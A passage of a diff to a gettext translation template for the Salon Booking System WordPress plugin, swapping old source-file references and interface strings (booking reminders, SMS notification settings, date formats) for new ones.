..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434\n+msgid \"\"\n+\"Customers will collect a score based on their bookings value and their \"\n+\"retention.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_rated_content.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_rated_content.php:16\n-msgid \"your customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:68\n+msgid \"Customize colors of the salon shortcode.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_rated_content.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22\n-msgid \"has submitted a new review on his last visit at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:301\n+msgid \"Customize the booking notification message\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_booking_rated_content.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63\n-msgid \"READ THE FULL REVIEW\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:344\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:344\n+msgid \"Customize the booking reminder message\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_current_score.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_current_score.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_current_score.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_current_score.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_current_score.php:9\n-msgid \"YOUR CURRENT SCORE*\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37\n+msgid \"Customize the Onesignal notification message\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_current_score.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_current_score.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_current_score.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_current_score.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_current_score.php:24\n-msgid \"*Your personal current score is calculated considering all your past reservations with us.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:280\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:280\n+msgid \"\"\n+\"Customize the SMS notification message on canceled bookings (max 160 \"\n+\"characters)\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_current_score.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_current_score.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_current_score.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_current_score.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_current_score.php:28\n-msgid \"It's used to give you special offers.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:268\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:268\n+msgid \"\"\n+\"Customize the SMS notification message on modified bookings (max 160 \"\n+\"characters)\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_info.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_info.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_info.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_info.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_info.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_info.php:16\n-msgid \"CUSTOMER DETAILS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:228\n+msgid \"\"\n+\"Customize the SMS notification message on new bookings (max 160 characters)\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_manage_buttons.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:16\n-msgid \"PAY\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:252\n+msgid \"\"\n+\"Customize the SMS remind notification message on bookings (max 160 \"\n+\"characters)\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_manage_buttons.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:43\n-msgid \"MANAGE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:503\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:503\n+msgid \"Daily.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_manage_buttons.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61\n-msgid \"CANCEL\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37\n+msgid \"Dashboard\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_message_text.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_message_text.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_message_text.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_message_text.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_message_text.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_message_text.php:28\n-msgid \"Your booking is pending, please await our confirmation.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:158\n+msgid \"Data not found\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_note.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_note.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_note.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_note.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_note.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_note.php:11\n-msgid \"CUSTOMER NOTES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:575\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:575\n+msgid \"Date\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_pay_remaining_amount_message_text.php:3\n-msgid \"Please pay the remaining amount of your booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51\n+msgid \"date\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_customer_reminder_message_text.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_customer_reminder_message_text.php:31\n-msgid \"Reminder: Your booking at \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:47\n+msgid \"DATE & TIME\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_custom_fields.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_custom_fields.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_custom_fields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_custom_fields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_custom_fields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_custom_fields.php:34\n-msgid \"CUSTOMER PREFERENCES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223\n+msgid \"Date and time are required for the booking.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15\n+msgid \"Date and time booked\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_feedback_content.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_feedback_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_feedback_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_feedback_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_feedback_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_feedback_content.php:32\n-msgid \"Click on this button to send us your feedback\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:116\n+msgid \"Date and Time settings\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_payment_confirmed_content.php:6, views\u002Fmail\u002F_status_canceled_content.php:7, views\u002Fshortcode\u002Fsalon_summary.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_status_canceled_content.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_summary.php:95\n-msgid \"Dear\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:120\n+msgid \"Date Format\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_payment_confirmed_content.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14\n-msgid \"We received the payment for your booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1339\n+msgid \"Date not available\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_salon_info.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_salon_info.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_salon_info.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_salon_info.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_salon_info.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_salon_info.php:45\n-msgid \"Find us on\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45\n+msgid \"Date Range:\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_salon_note.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_salon_note.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_salon_note.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_salon_note.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_salon_note.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_salon_note.php:9\n-msgid \"Important notes\"\n+#: 